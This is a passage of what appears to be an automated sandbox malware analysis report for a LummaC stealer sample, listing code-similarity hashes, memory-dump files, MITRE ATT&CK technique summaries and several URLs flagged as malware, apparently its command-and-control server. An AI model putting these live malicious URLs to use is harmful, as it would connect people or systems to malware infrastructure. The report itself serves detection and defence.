Similarity

API ID:
String ID:
API String ID:
Opcode ID: 451522c2a520f316337904a4b966e3b3906332551bcea1af5c0d677a04080208
Instruction ID: 292b921b3515afef7d8c7e03d778a9828d42b24f1c650af27eb4087b5c2cf104
Opcode Fuzzy Hash: 451522c2a520f316337904a4b966e3b3906332551bcea1af5c0d677a04080208
Instruction Fuzzy Hash: B72127A7F612210BF75448B8CD98351598393EA320F2F83788F6C6B7C9D8BE4C0A0284

Function 05C92244 Relevance: .1, Instructions: 88COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2401375000.0000000005C5A000.00000040.00000800.00020000.00000000.sdmp, Offset: 05C50000, based on PE: true

Associated: 00000000.00000002.2401268033.0000000005C50000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2401303448.0000000005C52000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2401340051.0000000005C56000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2401375000.0000000005DE2000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2401375000.0000000005EED000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2401375000.0000000005EFC000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2401375000.0000000005EFE000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5c50000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cb474d7e439ddc38501161cd685ec17fdf19d46d20173ef136444409a4002c76
Instruction ID: 2744dab032b392e64b039f00e2d700b26b8bc7546d01d0a4972d5ba815a9bdfb
Opcode Fuzzy Hash: cb474d7e439ddc38501161cd685ec17fdf19d46d20173ef136444409a4002c76
Instruction Fuzzy Hash: 45217CF7F615214BF7984834CDA93A25542E391324F2F83398F69A77C1DC6D8D0912C4

Function 05C6AE96 Relevance: .1, Instructions: 86COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2401375000.0000000005C5A000.00000040.00000800.00020000.00000000.sdmp, Offset: 05C50000, based on PE: true

Associated: 00000000.00000002.2401268033.0000000005C50000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2401303448.0000000005C52000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2401340051.0000000005C56000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2401375000.0000000005DE2000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2401375000.0000000005EED000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2401375000.0000000005EFC000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2401375000.0000000005EFE000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5c50000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 960b1b85dfbeb78975ed92bb4bd40bb3d474f7b395fc94c6a1cb6a51eada37ce
Instruction ID: 1763992a4487aba37723f459006401d77d61d94d8fcbe78a62ea4c5748ff2eca
Opcode Fuzzy Hash: 960b1b85dfbeb78975ed92bb4bd40bb3d474f7b395fc94c6a1cb6a51eada37ce
Instruction Fuzzy Hash: B631F5E7E5162547F3904868CDA9352558397E0324F2F82798E6CAB7CADC7E9D0903C4

Function 05C9E1B2 Relevance: .1, Instructions: 81COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2401375000.0000000005C5A000.00000040.00000800.00020000.00000000.sdmp, Offset: 05C50000, based on PE: true

Associated: 00000000.00000002.2401268033.0000000005C50000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2401303448.0000000005C52000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2401340051.0000000005C56000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2401375000.0000000005DE2000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2401375000.0000000005EED000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2401375000.0000000005EFC000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2401375000.0000000005EFE000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5c50000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bbb8f5577d4fb7505eb04e81230f52a4a211135e9365b62d56862a1957469454
Instruction ID: 91b5f8ad69b9ac13744ca9115b92a156fa623d77b8126603ef8b51e48235210f
Opcode Fuzzy Hash: bbb8f5577d4fb7505eb04e81230f52a4a211135e9365b62d56862a1957469454
Instruction Fuzzy Hash: 972138B7F0122147F3684969DCA4362A282AB96325F2F82788F5D7B7C8DC3D5C4A43C4

Function 05C7999D Relevance: .1, Instructions: 80COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2401375000.0000000005C5A000.00000040.00000800.00020000.00000000.sdmp, Offset: 05C50000, based on PE: true

Associated: 00000000.00000002.2401268033.0000000005C50000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2401303448.0000000005C52000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2401340051.0000000005C56000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2401375000.0000000005DE2000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2401375000.0000000005EED000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2401375000.0000000005EFC000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2401375000.0000000005EFE000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5c50000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5141d2be556049dc58dbce7a847e4571470a4bb4d7421dac14bcea97e91e9dbc
Instruction ID: fa1f76001195db29ede312034199ff9101534ac843f5bf46d58d67a97c8308cc
Opcode Fuzzy Hash: 5141d2be556049dc58dbce7a847e4571470a4bb4d7421dac14bcea97e91e9dbc
Instruction Fuzzy Hash: 9D218CB3F616210BF3984869CC693A26582DBD1710F2F813C8F8A677C4DCBD1C0A5298

Function 05C7494C Relevance: .1, Instructions: 74COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2401375000.0000000005C5A000.00000040.00000800.00020000.00000000.sdmp, Offset: 05C50000, based on PE: true

Associated: 00000000.00000002.2401268033.0000000005C50000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2401303448.0000000005C52000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2401340051.0000000005C56000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2401375000.0000000005DE2000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2401375000.0000000005EED000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2401375000.0000000005EFC000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2401375000.0000000005EFE000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5c50000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: deed169dce570ae0e7aefce81a972ee891229fa9c6fefada02620500e0e1cc7b
Instruction ID: af20ab1b8d84a9116eb4077bb6c982c3083140405cf2bab3ab8ac15ea7976b09
Opcode Fuzzy Hash: deed169dce570ae0e7aefce81a972ee891229fa9c6fefada02620500e0e1cc7b
Instruction Fuzzy Hash: 4D2181F3F0022547F3944839CD593A2658397D1314F2F82398F996BBC9DC7D5D065284

Function 05C72B7D Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2401375000.0000000005C5A000.00000040.00000800.00020000.00000000.sdmp, Offset: 05C50000, based on PE: true

Associated: 00000000.00000002.2401268033.0000000005C50000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2401303448.0000000005C52000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2401340051.0000000005C56000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2401375000.0000000005DE2000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2401375000.0000000005EED000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2401375000.0000000005EFC000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2401375000.0000000005EFE000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5c50000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ff950142cf276d2ea43fe12ef10664f909dbc8f897bd980d813ee2d2d44a6f12
Instruction ID: f7dff9d31940aaf663d23505f61a8056ebad8c8f36519db1fb37e7fabfafee42
Opcode Fuzzy Hash: ff950142cf276d2ea43fe12ef10664f909dbc8f897bd980d813ee2d2d44a6f12
Instruction Fuzzy Hash: 68218FB3F0123543F3544929CC68392A2839BE5324F2F41798F5CAB7C5D8BE5C4652C4

Source: https://marshal-zhukov.com/jX	Avira URL Cloud: Label: malware
Source: https://marshal-zhukov.com/s	Avira URL Cloud: Label: malware
Source: https://marshal-zhukov.com/r:	Avira URL Cloud: Label: malware
Source: https://marshal-zhukov.com/apite	Avira URL Cloud: Label: malware
Source: https://marshal-zhukov.com/apiq3	Avira URL Cloud: Label: malware
Source: https://marshal-zhukov.com/ZYa	Avira URL Cloud: Label: malware
Source: https://marshal-zhukov.com/apiq	Avira URL Cloud: Label: malware
Source: https://marshal-zhukov.com:443/apiyq	Avira URL Cloud: Label: malware

Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon
Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon
Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon
Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Networking

System Summary

Data Obfuscation

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Chrome Cache Entry: 100

Chrome Cache Entry: 101

Chrome Cache Entry: 102

Chrome Cache Entry: 103

Chrome Cache Entry: 104

Chrome Cache Entry: 105

Chrome Cache Entry: 106

Chrome Cache Entry: 107

Chrome Cache Entry: 108

Chrome Cache Entry: 109

Chrome Cache Entry: 110

Chrome Cache Entry: 70

Chrome Cache Entry: 71

Chrome Cache Entry: 72

Windows Analysis Report
file.exe